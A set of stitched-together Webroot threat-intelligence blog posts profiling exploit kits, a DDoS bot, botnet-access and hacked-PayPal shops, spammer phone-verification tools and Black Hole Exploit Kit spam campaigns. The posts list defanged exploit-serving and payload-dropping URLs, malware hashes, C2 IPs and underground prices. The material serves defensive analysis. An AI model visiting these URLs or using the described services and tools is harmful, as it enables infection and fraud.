Would this newly released exploit kit cause any widespread damage internationally? We doubt so, due to the fact that some of the most recent Java vulnerabilities received massive media coverage, prompting enterprises and end users to permanently disable it. Then again, this leads us to a dangerous myopia, where end and corporate users think that disabling Java prevents cybercriminals from establishing exploitation "touch points" with their endpoints. That's not true, as competing Web malware exploitation kits cover a variety of (patched) client-side vulnerabilities.

In the wake of **two recently announced Java zero day vulnerabilities** , users are advised to **disable Java** , as well as to ensure that they're not running any **outdated versions of their third-party software** and **browser plugins** .

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New DIY IRC-based DDoS bot spotted in the wild - Webroot Blog

facebook linkedin twitter

Thanks to basic disruptive factors like **standardization** , **DIY (do it yourself)** underground market releases, **Cybercrime-as-a-Service** "value added" propositions, **efficiency-centered client-side exploitation process** , **QA (Quality Assurance)** , and adaptation to the ubiquitous endpoint protection mechanisms, such as for instance, **signatures-based antivirus scanning** , the cybercrime ecosystem is currently enjoying the monetary joys of its mature state.

In this post, I'll profile a recently advertised DIY IRC-based DDoS bot, with an emphasis on how market followers, like the author of the bot, attempt to steal market share from the competition. Successful or not, this trend has been taking place for years, and based on the positive type and number of "satisfied customer" comments for this bot, market followers can also secure a revenue stream thanks to the fact that the prospective buyers of such "me too" type of malicious software releases don't know where to acquire the latest cutting-edge DIY DDoS bot technology from.

More details:

Sample screenshot of the DIY IRC-based DDoS bot in action:

What is the first thing that grabs your attention when you look at the administration application? It's not the diversified set of DDoS attack types that the bot supports, but the fact that, in 2013, it's still using the Internet Relay Chat (IRC) as a centralized command and control infrastructure. What's also worth emphasizing is that the coder of the bot would not offer you access to a managed IRC server to be used as command and control server, even if you purchase the bot.

While the competition is working on **pseudo-random domain name generation** , limiting the levels of multi-casting, and is increasingly phoning back to legitimate domains in an attempt to trick network administrators into thinking that the malware-infected hosts are generating legitimate traffic, the author of this IRC-based bot appears to be using a largely outdated and easily detected C&C communication process.

The bot is written in C++ and the size of a sample malware — according to the bot's coder — is 23kb. It has the standard anti-debugging mechanisms built-in, plus features allowing the botnet master to update the bot to a newer version, plus take advantage of a diversified set of DDoS attack types, which you can see in the attached screenshot. With or without these "innovations", the bot's future is (thankfully) at stake due to the use of an outdated command and control communication process.

We'll continue monitoring the development of this bot, in particular whether or not the author will migrate to a modern command and control communication alternative, and post updates as soon as new developments emerge.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

How much does it cost to buy 10,000 U.S.-based malware-infected hosts? - Webroot Blog

facebook linkedin twitter

Earlier this month, we profiled and exposed **a newly launched underground service offering access to tens of thousands of malware-infected hosts** , with an emphasis on the fact that U.S.-based hosts were relatively more expensive to acquire, largely due to the fact that U.S.-based users are known to have a higher online purchasing power. How much does it cost to buy 10,000 U.S.-based malware-infected hosts? Let’s find out.

In this post, I’ll profile yet another service offering access to malware-infected hosts internationally, that’s been operating since the middle of 2012, and despite the fact that it’s official Web site is currently offline, remains in operation until present day.

More details:

Sample screenshot of the underground E-shop selling access to malware-infected hosts:

The service is yet another example of a trend that’s been evident since the early days of the first Malware-as-a-Service underground market offerings, namely, the segmentation and use of perceived pricing schemes when it comes to U.S.-based malware-infected hosts. Naturally, purchasing access to U.S.-based malware-infected hosts is more expensive than, for instance, purchasing access to hosts based in Germany, Canada or the U.K., largely thanks to the fact that a U.S.-based user has a higher online purchasing power compared to the rest of the world.

If a potential cybercriminal wants to spread his fully undetectable piece of malware online, all he has to do is purchase access to the malware-infected hosts offered by such services, allowing virtually anyone access to “managed malware propagation” capabilities. The service that I’m profiling in this post is also attempting to “**vertically**

integrate ” within the cybercrime ecosystem by offering related “value added” services such as access to Socks5 servers, which are in reality **malware-hosts converted to be used as anonymization proxies** .

The prices are as follows:

1,000 hosts World Mix go for $25, 5,000 hosts World Mix go for $110, and 10,000 hosts World Mix go for $200
1,000 hosts EU Mix go for $50, 5,000 hosts EU Mix go for $225, and 10,000 hosts EU Mix go for $400
1,000 hosts DE, CA and GB, go for $80, 5,000 hosts go for $350, and 10,000 hosts go for $600
Naturally, access to a U.S.-based host is more expensive compared to the rest of the world. A 1,000 U.S. hosts go for $120, 5,000 U.S. hosts go for $550 and 10,000 U.S hosts go for $1,000

Thanks to the rise of **DIY (do it yourself)** underground market propositions, as well as managed services allowing novice cybercriminals to outsource the entire host acquisition, retention through QA (Quality Assurance), and dissemination of malicious campaigns to third-parties offering these capabilities as a service, we expect to see more of these services offering access to malware-infected hosts.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

How mobile spammers verify the validity of harvested phone numbers - Webroot Blog

facebook linkedin twitter

Have you ever received a blank call, and no one was on the other side of the line? What about a similar blank **SMS received through your mobile carrier's Mail2SMS gateway** ? There's a high probability that it was a mobile spammer who's automatically and efficiently verifying the validity of a recently **harvested database of mobile numbers** , with QA (Quality Assurance) in mind. These verified databases will be later on used as the foundation for a highly successful **spam/scam/malicious software disseminating campaigns** , thanks to the fact that the cybercriminals behind them will no longer be shooting into the dark. How do they do that? What kind of tools do they use?

Let's find out by profiling a Russian **DIY** (do it yourself) software vendor, that's been operating since 2011, and is currently offering a **Session Initiation Protocol (SIP)** based phone number verification tool, as well as USB-modem based phone number verification application.

More details:

Sample screenshot of the DIY mobile number verification tool:

The first version of the tool will basically take advantage of a single USB modem, and will automatically attempt to "blank call" a given list of phone numbers, successfully differentiating between a "free line", "busy line" and "non-existent number" type of results. In order to speed up the process, the second version of the tool allows the use of multiple USB modems to achieve the same objective.

Sample screenshot of the second version of the DIY mobile number verification tool:

Sample screenshot of the log file of the DIY mobile number verification tool:

The tool is configured in such a way that every verification attempt costs virtually nothing to the spammer using it.

However, things have greatly changed over the last couple of years, largely thanks to the rise of SIP based communiations, allowing cybercriminals an easy access to much more efficient phone flood, or phone number verification options. Naturally, the vendor behind the original USB modem number verification tool, adapted to this emerging market trend, and is currently offering both, a SIP based **phone ring flooding** utility, as well as a SIP based mobile number verification tool.

Sample screenshot of the SIP based mobile number verification tool:

As you can see in the attached screenshot, the tool has already managed to verify 10 phone numbers, with 56 more pending verification. Let's take a peek at the configuration settings.

Sample screenshot of the configuration settings for the DIY SIP based phone number verification tool:

The tool allows a potential spammer to manually set up the configuration for the server, or let the tool do the configuration for him, next to setting up intervals and multiple accounts at the SIP server.

Second screenshot of the configuration settings for the SIP based phone number verification tool:

We expect that mobile spammers will continue "innovating" with QA (Quality Assurance) in mind, and that it's only a matter of time before we see a managed service doing exactly the same type of phone number verification practices.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Malicious 'Data Processing Service' ACH File ID themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

A cybercriminal/gang of cybercriminals that we've been closely monitoring for a while now has just launched yet another spam campaign, this time impersonating the "**Data Processing Service** " company, in an attempt to trick its customers into interacting with the malicious emails. Once they do so, they are automatically exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

In this post, I'll profile their latest campaign and the dropped malware. I will also establish a direct connection between this and three other previously profiled malicious campaigns, as well as an ongoing money mule campaign, all of which appear to have been launched by the same cybercriminal/gang of cybercriminals.

More details:

Sample screenshot of the spamvertised email:

Sample compromised URLs used in the campaign: *hxxp://www.gravitomagnetics.com/includes/prcsucsf.html*
hxxp://www.granitex-chojnow.com/includes/prcsucsf.html
hxxp://www.gozdeemlakofis.com/includes/prcsucsf.html
hxxp://www.gracehospiceaz.com/includes/prcsucsf.html
hxxp://www.greekwebstar.com/includes/prcsucsf.html
hxxp://www.godaintnojoke.com/includes/prcsucsf.html
hxxp://www.gloson.com/includes/prcsucsf.html
hxxp://www.gonzamatis.com/includes/prcsucsf.html
hxxp://www.greateasternsteamship.com/includes/prcsucsf.html
hxxp://www.greencastleflorist.com/includes/prcsucsf.html

Sample client-side exploits serving URL: *hxxp://dekolink.net/detects/when-weird-contrast.php*

Sample malicious payload dropping URL: *hxxp://dekolink.net/detects/when-weird-contrast.php?*

xlefrmal=1f:33:1h:1n:2v&sak=2w:32:1g:1n:33:1m:1o:30:1n:2v&dxebz=1i&wcmmaqap=fqbmcta&dwhhjmjf=xxinnuik

Upon successful client-side exploitation, the campaign drops **MD5: faa3a6c7bbf5b0449f60409c8bf63859** – detected by 16 out of 46 antivirus scanners as Trojan-Spy.Win32.Zbot.jfpy.

Once executed, the sample creates the following process on the affected hosts: *%AppData%Vyeffefuod.exe*

The following Mutexes: *Global{5B039399-8854-D5EB-89D3-085A9A492B48} Global{CE6286DB-9D16-408A-89D3-085A9A492B48} Global{A4C81E13-05DE-2A20-BB82-B06DA818937F} Local{E41AB6D2-AD1F-6AF2-89D3-085A9A492B48} Global{A4C81E13-05DE-2A20-238C-B06D3016937F} Global{A4C81E13-05DE-2A20-F38E-B06DE014937F} Global{A4C81E13-05DE-2A20-578F-B06D4415937F} Global{A4C81E13-05DE-2A20-AF8F-B06DBC15937F} Global{A4C81E13-05DE-2A20-9B8F-B06D8815937F} Global{A4C81E13-05DE-2A20-EF8F-B06DFC15937F} Global{A4C81E13-05DE-2A20-5388-B06D4012937F} Global{A4C81E13-05DE-2A20-EF88-B06DFC12937F} Global{A4C81E13-05DE-2A20-6789-B06D7413937F} Global{A4C81E13-05DE-2A20-4B89-B06D5813937F} Global{A4C81E13-05DE-2A20-9789-B06D8413937F} Global{A4C81E13-05DE-2A20-6B8B-B06D7811937F} Global{A4C81E13-05DE-2A20-438B-B06D5011937F} Global{A4C81E13-05DE-2A20-AF8B-B06DBC11937F} Global{A4C81E13-05DE-2A20-D78C-B06DC416937F} Global{A4C81E13-05DE-2A20-578E-B06D4414937F} Global{A4C81E13-05DE-2A20-9F8E-B06D8C14937F} Global{A4C81E13-05DE-2A20-D78E-B06DC414937F} Global{A4C81E13-05DE-2A20-3F8F-B06D2C15937F} Global{A4C81E13-05DE-2A20-0B8F-B06D1815937F}*

Creates the following Registry Keys: *HKEY_CURRENT_USERSoftwareMicrosoftVexiha*

And sets the following Values: *[HKEY_CURRENT_USERIdentities] -> Identity Login = 0x00098053*

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun] -> {3DFA1AE4-115C-AD7B-A6BA-A75086AF8442} = ""%AppData%Vyeffefuod.exe""
[HKEY_CURRENT_USERSoftwareMicrosoftVexiha] -> 3599i3fd = B2 B9 9F 4C 37 04; 31e81747 = 0x4CADB9B2; 14j3bcgj = "hOetTLFUg8u5P1IH"

It then attempts to connect to the following IPs: *24.120.165.58 66.117.77.134 64.219.121.189 66.117.77.134 75.47.231.138 108.211.64.46 91.99.146.167 108.211.64.46 71.43.217.3 81.136.230.235 101.162.73.132 99.76.3.38 85.29.177.249 24.126.54.116 108.130.34.42 99.116.134.54 80.252.59.142*

Malicious domain name reconnaissance: dekolink.net – 50.7.251.59; 176.120.38.238 – Email: wondermitch@hotmail.com
Name Server: **NS1.THEREGISTARS.COM** – 31.170.106.17 – Email: lockwr@rocketmail.com
Name Server: **NS2.THEREGISTARS.COM** – 67.15.223.219 – Email: lockwr@rocketmail.com

We've already seen the same email (**wondermitch@hotmail.com**) in the following malicious campaign – "**'Your Kindle e-book Amazon receipt' themed emails lead to Black Hole Exploit Kit** ", as well as in a recent **money mule recruitment campaign** .

The same name servers were also used in yet another recently profiled campaign – "**Fake 'Verizon Wireless Statement" themed emails lead to Black Hole Exploit Kit** ", and we've also seen the (**lockwr@rocketmail.com**) email used in the "**Fake 'You've blocked/disabled your Facebook account' themed emails serve client-side exploits and malware" campaign** .

These name servers are also used by the following malicious domains: *participamoz.com* – Email: dort.dort@live.com
pesarbadeh.net – Email: onetoo@gmx.com
theatreli.net azsocseclawyer.net

Responding to 50.7.251.59 are also the following malicious domains: *betheroot.net open-uav.org*

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

DIY malware cryptor as a Web service spotted in the wild - Webroot Blog

facebook linkedin twitter

Just how easy is it to generate an undetected piece of malware these days? Too easy to be true, largely thanks to the rise of managed crypting services, and the re-emergence of the **DIY** (do it yourself) trend within the entire cybercrime ecosystem.

With hundreds of thousands of new malware variants processed by the industry on a daily basis, it's fairly logical to conclude that over the years, **the bad guys have adapted** to **signature-based antivirus scanning** protection mechanisms, and have achieved disturbing levels of automation and efficiency. How do they do that?

Let's find out by profiling a recently spotted Web-based DIY malware cryptor, emphasize on the future potential of such underground projects, as well as provide MD5s of malware samples known to have been generated using it.

More details:

Sample screenshot of the DIY malware cryptor as a Web service:

As you can seen in the attached screenshot, the DIY Web service allows full customization of the malicious output. Thankfully, the service fails to "innovate", and it also lacks major differentiation factors like the ones found in popular DIY malware generating tools available on the underground market. In fact, a **malware as a Web service that I profiled in 2007** had a better emphasis on customization features compared to this service, publicly advertised in early 2013. What about the pricing? $7 per sample. And the service currently accepts Western Union, MoneyGram, WebMoney and Liberty Reserve.

It's worth emphasizing on the fact that, in 2013, despite the availability and constant development of desktop based DIY malware cryptors, cybercriminals tend to rely on managed services that not only accept bulk orders, but also, anonymously pre-scan these binaries against the most popular antivirus scanners, ensuring a decent degree of QA (Quality Assurance) in these campaigns. In fact, one of the most popular services often integrated in such underground market propositions currently supports API calls for automatic domain/URL checking against public and vendor-specific blacklisting services, and even has a Tor network server address. Although the service isn't vertically integrating just yet, it's revenue stream from advertisements of managed and DIY malware crypting services are worth mentioning in the context of how cybercriminals tend to collaborate.

Are we going to see more Web based DIY malware cryptors? Definitely, especially for use in targeted attacks. However, for the time being, the real competition within the cybercrime ecosystem is where the bulk order processing vendors are.

Sample MD5s crypted using the service: *MD5: 6768385e25f522ea29c03b3f6480ada7 MD5: b4c26e201b23ab86a6f8063c995008bc MD5: f01e450d49cb8ef414aaf571afe494be MD5: 0666e1408b558ea964321d27afcd6e0f MD5: b55c58a0c66b806e5287fed7ca91c51a MD5: d69fe7757e15489633e989c42e0cb983 MD5: e5811b906afe071c6a99cdc1a4bdce56 MD5: 322e936e650e572fec4e37574876fc26 MD5: a637487f2c7bbea83e99f7d51ad7f090 MD5: 934fcd5cc0b923838cfe5b0f097c29d4 MD5: bb6f5218af165f2b89da8b8cec2fffa5 MD5: 09a694fec119f8a7a568808c1f6d3c23 MD5: 9df0fee51e99d8d01e17ef7d74489bfa MD5: 9fcfdfd681ad0e9fa60a10d7a4a921b4 MD5: ffc5e63edd63c335de95ad65fd892940 MD5: fd00984c86e9ad85106eb4d725724b13 MD5: 045d588a0326ce5b57753d7a8b25eca3 MD5: cd3a156717b1fe8e787f961e2e889a27 MD5: 4e73ab5ef4bf38e59f42796df863fbda MD5: 1168e24f7fc93cd68dce27c321fe58e5 MD5: 35a314aba8bbe2dc84d44b4d05719f97 MD5:*

de32a97b5b2b776c23242fc0553aa721 MD5:
940d3a844c63cd07ab124fc76cfb9967 MD5:
bbc8806137c07eeb8339f9686ef28343 MD5:
a1dd3c7b756f2b24299eb4b6553c78a6 MD5:
0dcd22907b0af6bdea04a62fc33dac13 MD5:
bb4f497f808e541bd0d1dde499346b9f MD5:
6dd835e8f32a7e4c8d7a9d6075db487c MD5:
28142e39877a873084818432e36f6117 MD5:
b03bafd130ee0970abe464f40efe02b4 MD5:
0ff4385d18cdf2cb42dc5e6bae9d9346 MD5:
bf58fcb43c31b9c1fd4cfb144f04b505

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'Verizon Wireless Statement" themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

On a periodic basis, cybercriminals are spamvertising malicious campaigns impersonating Verizon Wireless to tens of thousands of Verizon customers across the globe in an attempt to trick them into interacting with the fake emails. **Throughout 2012** , we intercepted **two campaigns** pretending to come from the company, followed by **another campaign** intercepted last month. This tactic largely relies on the life cycle of a particular campaign, intersecting with the publicly generated awareness of its maliciousness.

In this post, I'll profile one of the most recently spamvertised campaigns impersonating Verizon Wireless. Not surprisingly, once users click on any of the links found in the malicious emails, they're automatically exposed to the client-side exploits served by the **Black Hole Exploit Kit** .

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised compromised URLs used in the campaign: *hxxp://www.hotstocks.ch/wp-content/themes/toolbox/vznbill.html hxxp://www.howany.com/wp-content/uploads/vznbill.html hxxp://www.erichpucher.at/templates/beez/vznbill.html hxxp://www.govtjobsindia.org/wp-content/themes/skyfall/vznbill.html*

Sample client-side exploits serving URL: *hxxp://participamoz.com/detects/holds_edge.php*

Sample malicious payload-dropping URL: *hxxp://participamoz.com/detects/holds_edge.php?dvyy=1n:33:2v:1l:1h&coqy=3m&alr=30:33:1h:1h:1j:1j:1h:1m:1o:33&qds=1n:1d:1f:1d:1f:1d:1j:1k:1l*

Sample client-side exploits served: CVE-2010-0188

Malicious domain name reconnaissance: participamoz.com – 173.251.62.46; 161.200.156.200 – Email: dort.dort@live.com
Name Server: **NS1.THEREGISTARS.COM** – 31.170.106.17 – Email: lockwr@rocketmail.com
Name Server: **NS2.THEREGISTARS.COM** – 67.15.223.219 – Email: lockwr@rocketmail.com

We've already seen the same email address (*lockwr@rocketmail.com*) used in the following previously profiled campaign "**Fake 'You've blocked/disabled your Facebook account' themed emails serve client-side exploits and malware** ", indicating that they've been launched by the same malicious party.

The following malicious domains also respond to 161.200.156.200 and are part of the campaign's infrastructure: *prosctermobile.com aftandilosmacerati.com pardontemabelos.com*

Upon successful client-side exploitation, the campaign drops **MD5: 4377dcc591f87cc24e75f8c69a2a7f8f** – detected by 8 out of 46 antivirus scanners as UDS:DangerousObject.Multi.Generic.

Once executed, the sample creates the following process on the affected hosts: *C:Documents and Settings<USER>Application DataKeahatiomx.exe*

It also creates the following Mutexes: *Global{CB561546-E774-D5EA-8F92-61FCBA8C42EE} Local{744F300D-C23F-6AF3-8F92-61FCBA8C42EE} Global{4F0B47EA-B5D8-51B7-0508-B06D3016937F} Global{4F0B47EA-B5D8-51B7-7509-B06D4017937F} Global{4F0B47EA-B5D8-51B7-490A-B06D7C14937F} Global{4F0B47EA-B5D8-51B7-610A-B06D5414937F} Global{4F0B47EA-B5D8-51B7-8D0A-B06DB814937F} Global{4F0B47EA-B5D8-51B7-990A-B06DAC14937F} Global{4F0B47EA-B5D8-51B7-390B-B06D0C15937F} Global{4F0B47EA-B5D8-51B7-650B-B06D5015937F} Global{4F0B47EA-B5D8-51B7-B90B-B06D8C15937F} Global{4F0B47EA-B5D8-51B7-150C-B06D2012937F} Global{4F0B47EA-B5D8-51B7-4D0C-B06D7812937F} Global{4F0B47EA-B5D8-51B7-810C-B06DB412937F} Global{4F0B47EA-B5D8-51B7-B90D-*

B06D8C13937F} Global{4F0B47EA-B5D8-51B7-2D0E-B06D1810937F} Global{4F0B47EA-B5D8-51B7-650E-B06D5010937F} Global{4F0B47EA-B5D8-51B7-F508-B06DC016937F} Global{4F0B47EA-B5D8-51B7-E90B-B06DDC15937F} Global{4F0B47EA-B5D8-51B7-ED0C-B06DD812937F} Global{4F0B47EA-B5D8-51B7-AD0E-B06D9810937F} Global{4F0B47EA-B5D8-51B7-9D09-B06DA817937F} Global{5E370004-F236-408B-8F92-61FCBA8C42EE} Global{4F0B47EA-B5D8-51B7-990F-B06DAC11937F} Global{EEE5022F-F01D-F059-8F92-61FCBA8C42EE} Global{38E3341C-C62E-265F-8F92-61FCBA8C42EE} Global{340FE32E-111C-2AB3-8F92-61FCBA8C42EE} Global{340FE329-111B-2AB3-8F92-61FCBA8C42EE} Local{55E9553D-A70F-4B55-8F92-61FCBA8C42EE} Local{55E9553C-A70E-4B55-8F92-61FCBA8C42EE}

The following Registry Keys: *REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftUveku REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWABWAB4Wab File Name REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWAB REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWABWAB4 REGISTRYUSERS-1-5-21-299502267-926492609-1801674531-500SoftwareMicrosoftWABWAB4Wab File Name REGISTRYMACHINESYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileGloballyOpenPortsList REGISTRYMACHINESYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStandardProfile REGISTRYMACHINESYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStandardProfileGloballyOpenPorts*

It then attempts to phone back to the following IPs: *110.143.183.104 24.120.165.58 110.143.183.104 75.80.49.248 71.42.56.253 94.65.0.48 98.16.107.213 190.198.30.168 76.193.173.205 71.43.217.3 66.229.110.89 101.162.73.132 94.68.49.208 64.219.121.189 99.122.152.158 80.252.59.142 108.211.64.46 69.39.74.6 91.99.146.167 187.131.70.221*

76.202.211.184 168.93.99.82 122.60.136.168 213.105.24.171 122.60.136.168 84.72.243.231 79.56.80.211

Webroot SecureAnywhere users are proactively protected from this threat.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Underground E-shop Offers Access To Hacked PayPal Accounts | Webroot

facebook linkedin 2 twitter 3

On a daily basis, largely thanks to the efficiency-centered malicious campaigns circulating in the wild, cybercriminals get access to tens of thousands of accounting credentials across multiple Web properties, and most disturbingly, online payment processing services like PayPal.

We've recently spotted a newly launched underground E-shop that's exclusively selling access to hacked PayPal accounts. How much does it cost to purchase a hacked PayPal account on the underground marketplace these days? What pricing method is the cybercriminal behind the service using, and does the newly launched E-shop share any similarities with the **E-shop selling access to hacked PayPal accounts** that we profiled in 2012?

Is your state cyber secure? Or is it one of the most hackable? Find out in our fourth annual Cyber Hygiene Risk Index report.

Let's take a peek inside the E-shop.

More details:

Sample login page for the E-shop:

Sample entry page for the E-shop:

As you can see in the attached screenshot, the data is segmented in the following way: Email of the affected victim, verified/not verified account, type of account, Card confirmed or not, Bank confirmed or not, Balance, First name of the victim, the country of origin, and the actual selling price.

Screenshot of the inventory of the E-shop:

What about the prices? As you can see, accounts with virtually no assets — at least for the time being — are offered for sale at a static $3 per account. The price for accounts with a balance varies between $20-$15. It's pretty obvious that the cybercriminal behind the E-shop is using perceived value for his pricing scheme, in the same way as another cybercriminal whose operations we profiled in 2012. Back then, he was **selling access to a compromised bank account** with a balance of $6,000 for $165. What we've got here is a decent example of how these inexperienced cybercriminals are looking for ways monetize the fraudulently obtained data as soon as possible, instead of "cashing out" the accounts by themselves, which could lead to possible risks to their OPSEC (Operational Security).

Second screenshot of the inventory of the E-shop:

The E-shop is exclusively targeting United States citizens, and currently has an inventory of 1,543 hacked PayPal accounts, followed by another 14 for the United Kingdom.

What's particularly interesting regarding this E-shop is the fact that the cybercriminal behind it tried to come up with a value-added service, in this case a built-in Socks5 proxy checker, to be used when interacting with the hacked PayPal accounts for greater anonymity.

Sample screenshot of the built-in Socks5 proxy server checker:

These are not publicly obtainable Socks5 servers. Instead, they are **compromised malware-infected hosts converted into anonymization proxies** , allowing the cybercriminals who are about to "cash out" the hacked PayPal accounts to risk-forward the possibility of getting traced back to the IP of an innocent malware-infected victim.

How did the cybercriminal behind the service shape the prices for each hacked PayPal account? Pretty simple. Based on perceived value with asset liquidity in mind. Thanks to his inability/unwillingness to "cash out" the accounts by himself, launching an E-shop to monetize the fraudulently obtained financial data seems a logical development. Unlike the **E-shop selling access to hacked PayPal accounts** that we profiled in 2012, this one isn't selling any other type of compromised accounting data, other than PayPal accounts.

We'll continue monitoring the emergence of these E-shops, and post updates as soon as new developments take place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin 2 twitter 3

Malicious 'RE: Your Wire Transfer' themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Over the last couple of days, we've been monitoring a persistent attempt to infect tens of thousands of users with malware through a systematic rotation of multiple social engineering themes. What all of these campaigns have in common is the fact that they all share the same malicious infrastructure.

Let's profile one of the most recently spamvertised campaigns, and expose the cybercriminals' complete portfolio of malicious domains, their related name servers, dropped MD5 and its associated run time behavior.

More details:

Sample screenshot of the spamvertised email:

Sample spamvertised compromised URLs: *hxxp://2555.ruksadindan.com/page-329.htm hxxp://www.athenassoftware.com.br/page-329.htm hxxp://www.sweetgarden.ca/page-329.htm hxxp://lab.monohrom.uz/page-329.htm hxxp://easy2winpoker.com/page-329.htm hxxp://ideashtor.ru/page-329.htm*

Sample client-side exploits serving URL: *hxxp://202.72.245.146:8080/forum/links/public_version.php*

The following malicious domains also respond to the same IP (**202.72.245.146**) and are part of multiple campaigns spamvertised over the past couple of days:
enakinukia.ru dekamerionka.ru evskindarka.ru exibonapa.ru esigbsoahd.ru dmssmgf.ru epianokif.ru elistof.ru dmpsonthh.ru esekundi.ru egihurinak.ru exiansik.ru ewinhdutik.ru efjjdopkam.ru eipuonam.ru emaianem.ru epionkalom.ru disownon.ru estipaindo.ru ejiposhhgio.ru epilarikko.ru

damagalko.ru emalenoko.ru epiratko.ru evujalo.ru bananamamor.ru eminakotpr.ru dfudont.ru

Related Name Servers (part of the infrastructure of these campaigns): Name server: **ns1.enakinukia.ru** – 85.143.166.174
Name server: **ns2.enakinukia.ru** – 41.168.5.140
Name server: **ns3.enakinukia.ru** – 42.121.116.38
Name server: **ns4.enakinukia.ru** – 110.164.58.250
Name server: **ns5.enakinukia.ru** – 210.71.250.131
Name server: **ns1.dekamerionka.ru** – 62.76.185.169
Name server: **ns2.dekamerionka.ru** – 41.168.5.140
Name server: **ns3.dekamerionka.ru** – 42.121.116.38
Name server: **ns4.dekamerionka.ru** – 110.164.58.250
Name server: **ns5.dekamerionka.ru** – 210.71.250.131
Name server: **ns1.evskindarka.ru** – 85.143.166.174
Name server: **ns2.evskindarka.ru** – 41.168.5.140
Name server: **ns3.evskindarka.ru** – 42.121.116.38
Name server: **ns4.evskindarka.ru** – 110.164.58.250
Name server: **ns5.evskindarka.ru** – 210.71.250.131
Name server: **ns1.exibonapa.ru** – 85.143.166.174
Name server: **ns2.exibonapa.ru** – 41.168.5.140
Name server: **ns3.exibonapa.ru** – 42.121.116.38
Name server: **ns4.exibonapa.ru** – 110.164.58.250
Name server: **ns5.exibonapa.ru** – 210.71.250.131
Name server: **ns1.esigbsoahd.ru** – 62.76.40.244
Name server: **ns2.esigbsoahd.ru** – 41.168.5.140
Name server: **ns3.esigbsoahd.ru** – 110.164.58.250
Name server: **ns4.esigbsoahd.ru** – 210.71.250.131
Name server: **ns5.esigbsoahd.ru** – 203.171.234.53
Name server: **ns1.dmssmgf.ru** – 62.76.185.169
Name server: **ns2.dmssmgf.ru** – 41.168.5.140
Name server: **ns3.dmssmgf.ru** – 42.121.116.38
Name server: **ns4.dmssmgf.ru** – 110.164.58.250
Name server: **ns5.dmssmgf.ru** – 210.71.250.131
Name server: **ns1.epianokif.ru** – 62.76.40.244
Name server: **ns2.epianokif.ru** – 41.168.5.140
Name server: **ns3.epianokif.ru** – 110.164.58.250
Name server: **ns4.epianokif.ru** – 210.71.250.131

Name server: **ns1.elistof.ru** – 62.76.40.244
Name server: **ns2.elistof.ru** – 41.168.5.140
Name server: **ns3.elistof.ru** – 110.164.58.250
Name server: **ns4.elistof.ru** – 210.71.250.131
Name server: **ns1.dmpsonthh.ru** – 62.76.185.169
Name server: **ns2.dmpsonthh.ru** – 41.168.5.140
Name server: **ns3.dmpsonthh.ru** – 42.121.116.38
Name server: **ns4.dmpsonthh.ru** – 110.164.58.250
Name server: **ns5.dmpsonthh.ru** – 210.71.250.131
Name server: **ns1.esekundi.ru** – 85.143.166.174
Name server: **ns2.esekundi.ru** – 41.168.5.140
Name server: **ns3.esekundi.ru** – 42.121.116.38
Name server: **ns4.esekundi.ru** – 110.164.58.250
Name server: **ns5.esekundi.ru** – 210.71.250.131
Name server: **ns1.egihurinak.ru** – 85.143.166.174
Name server: **ns2.egihurinak.ru** – 41.168.5.140
Name server: **ns3.egihurinak.ru** – 42.121.116.38
Name server: **ns4.egihurinak.ru** – 110.164.58.250
Name server: **ns5.egihurinak.ru** – 210.71.250.131
Name server: **ns1.exiansik.ru** – 85.143.166.174
